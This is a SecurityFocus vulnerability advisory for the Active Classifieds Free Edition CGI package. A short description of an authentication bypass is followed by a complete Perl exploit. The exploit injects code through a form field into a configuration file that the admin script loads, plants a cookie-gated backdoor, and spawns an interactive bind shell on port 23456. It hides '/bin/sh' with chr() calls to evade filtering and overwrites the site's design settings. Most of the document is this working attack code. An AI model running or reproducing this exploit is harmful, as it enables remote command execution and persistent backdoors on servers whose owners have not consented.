source: http://www.securityfocus.com/bid/2942/info

Active Classifieds is a CGI package that provides an online classified advertisement listing and management system.

An origin validation error exists in the Free Edition of Active Classifieds that may allow remote users to perform some administrative commands without authentication. As a result, it may be possible to cause arbitrary commands to be executed on a host running the software.

It is currently unclear as to whether commercial versions of Active Classifieds are also vulnerable. 

#!/usr/bin/perl -w
# exploit by Igor Dobrovitski noident@my-deja.com
# This exploit will spawn an interactive shell on port 23456
# A configuration file that is added to the admin.cgi at runtime through 'require' statement
# can be ovewritten. We can write to that file, but can't read it, so we simply restore
# the default settings. If the administrator made changes to the file
# 'websites/default/variables/design.pl', those changes will be lost and defaults restored.
# Our shell code is also written to that file, but will only be executed if the password
# cookie is supplied. Whoever else invokes the script won't trigger the shell.
# Enjoy
use Socket;
$| = 1;
####################################################################################################
$password = 'noident';   # Our cookie password, change it if you want, don't set to empty string
# Some metacharacters, like quotes and '&'  are filtered so  the code looks a bit weird
$exec_code = 'use Socket;$shell = (chr 47) . bin . (chr 47) . sh . (chr 32) . (chr 45) . (chr 105);socket(SOCK, PF_INET, SOCK_STREAM, 6);setsockopt(SOCK, SOL_SOCKET, SO_REUSEADDR, 1);$port=23456;bind(SOCK, sockaddr_in($port, INADDR_ANY));listen(SOCK, 1);accept (NEW, SOCK);if(!fork()){open STDIN, (chr 60) . (chr 38) . NEW; open STDOUT, (chr 62) . (chr 38) . NEW;open STDERR, (chr 62) . (chr 38) . NEW;exec $shell}else{close NEW;exit;}';
####################################################################################################
unless(defined $ARGV[0]) {die "Usage: $0 www.example.com/cgi-bin/blah/classifieds/admin.cgi\n"}
$ARGV[0] =~ s|^(?:http://)*||;
($host, $scriptpath) = $ARGV[0] =~ m|^(.*?)(/.*)$|;
my $form = makeform({
    'request' => 'submit_edit_design_variables',
    'bgcolor' => '#FFFFFF',
    'text' => '#000000',
    'link' => 'navy',
    'vlink' => '#aaaaaa',
    'alink' => '#FFCC00',
    'marginheight' => '0',
    'marginwidth' => '0',
    'topmargin' => '0',
    'leftmargin' => '0',
    'background' => '',

    'table_width' => "600';\nif(\$ENV{HTTP_COOKIE} eq \'$password\'){$exec_code}\n\$blah = '",
    'header_row_color' => '#666666',
    'mouse_over_color' => '#DDDDDD',
    'line_color' => '#C0C0C0',
    'alternate_row_color' => '#EEEEEE',

    'inverse_font_color' => '#FFFFFF',
    'alternate_font_color' => '#666666',
    'font_face' => 'arial, helvetica',
    'small_font_size' => '1',
    'standard_font_size' => '2',
    'large_font_size' => '3',

    'max_records_per_page' => '20',
    'allow_show_all' => 'yes',
    'display_ad_count' => 'yes',
    'display_icons' => 'yes',
    'display_ad_totals' => 'yes',
    'display_ad_postdate' => 'yes',
    'display_location' => 'yes',

    'date_format' => '3',

    'months' => 'January\nFebruary\nMarch\nApril\nMay\nJune\nJuly\nAugust\nSeptember\nOctober\nNovember\nDecember',
    'shortmonths' => 'Jan\nFeb\nMar\nApr\nMay\nJun\nJul\nAug\nSept\nOct\nNov\nDec',
    'weekdays' => 'Sunday\nMonday\nTuesday\nWednesday\nThursday\nFriday\nSaturday',
    'years' => '2000\n2001\n2002\n2003\n2004',
    'states' => 'Alabama\nAlaska\nArizona\nArkansas\nCalifornia\nColorado\nConnecticut\nDistrict of Columbia\nDelaware\nFlorida\nGeorgia\nGuam\nHawaii\nIdaho\nIllinois\nIndiana\nIowa\nKansas\nKentucky\nLouisiana\nMaine\nMaryland\nMassachusetts\nMichigan\nMinnesota\nMississippi\nMissouri\nMontana\nNebraska\nNevada\nNew Hampshire\nNew Jersey\nNew Mexico\nNew York\nNorth Carolina\nNorth Dakota\nOhio\nOklahoma\nOregon\nPennsylvania\nPuerto Rico\nRhode Island\nSouth Carolina\nSouth Dakota\nTennessee\nTexas\nUtah\nVermont\nVirginia\nWashington\nWest Virginia\nWisconsin\nWyoming\n-------------------------\nCanada - Alberta\nCanada - British Columbia\nCanada - Manitoba\nCanada - New Brunswick\nCanada - Newfoundland\nCanada - Northwest Territories\nCanada - Nova Scotia\nCanada - Ontario\nCanada - Prince Edward Island\nCanada - Quebec\nCanada - Saskatchewan\nCanada - Yukon\n-------------------------\nUK - Channel Islands\nUK - England - London\nUK - England - Mid\nUK - England - North\n!
UK - England - Southeast\nUK - England - Southwest\nUK - Isle of Man\nUK - Northern Ireland\nUK - Scotland\nUK - Wales\n-------------------------\nEurope - Eastern Europe\nEurope - France\nEurope - Germany\nEurope - Ireland\nEurope - Italy\nEurope - Netherlands\nEurope - Scandinavia\nEurope - Other\n-------------------------\nAsia and Pacific - Australia\nAsia and Pacific - India\nAsia and Pacific - Japan\nAsia and Pacific - New Zealand\nAsia and Pacific - Other\n-------------------------\nAfrica\nLatin America\nMiddle East\nOther Area'
});
print "Engaging the enemy. Please stand by...\n";
for(my $i=0;$i<2;$i++)
{
# first time we overwrite the require'd file
# second time we execute the script, the poisoned file is loaded, checks our cookie and
# opens the backdoor for us. After that it exits without overwriting the file the 2nd time
    &send($form);
}
&oops_the_sploit_did_not_work();

sub makeform
{
    my $string;
    my @blah;
    my $line  = '';
    my $here;
    my %data = %{$_[0]};
    foreach my $key (keys %data)
    {
        $line .= "$key" . 'AAAA' . "$data{$key}" . 'BBBB';
    }
    $line =~ s|^(.*)BBBB$|$1|;
    $line =~ s/\\n/\n/g;
    $line =~ s/\\t/\t/g;
    $line =~ s/\\e/\e/g;
    $line =~ s/\\f/\f/g;
    $line =~ s/\\r/\r/g;
    $line =~ s/\\0/\0/g;
    foreach my $char (split //, $line)
    {
        if($char !~ m/[A-Za-z0-9._ ]/)
        {
            $char = unpack "H2", $char;
            $char = '%' . "$char";
        }
        push @blah, $char;
    }
    $string = join "",@blah;
    $string =~ s/AAAA/=/g;
    $string =~ s/BBBB/&/g;
    $string =~ s/ /+/g;
    my $cont_len = length($string);
$here = <<EOF;
POST $scriptpath HTTP/1.0
User-Agent: Mozilla (Windows 98)
Host: $host
cookie: $password
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Encoding: gzip
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8
Content-type: application/x-www-form-urlencoded
Content-length: $cont_len

$string
EOF
    return $here;
}

sub send
{
    my $form_to_send = shift;
    my $h = inet_aton($host) or die "Forward lookup for $host failed\n";
    socket(S,PF_INET,SOCK_STREAM,6) or die "socket prolems\n";
    unless(connect(S,sockaddr_in(80,$h))) {print STDERR "Couldn't connect to " . inet_ntoa($h) . "\n"
; close(S); exit 1 }
    select(S);
    $|=1;
    print "$form_to_send";
    local($SIG{ALRM}) = sub { print STDERR "Timeout was expected. The shell awaits you on port 23456\nHave fun and be excellent to the webmaster.\n"; exit };
    alarm(20);
    my @reply=<S>;
    select(STDOUT);
    close(S);
    return @reply;
}

sub oops_the_sploit_did_not_work
{
    print STDERR "The exploit didn't work on this host\nSorry...\n";
    exit;
}
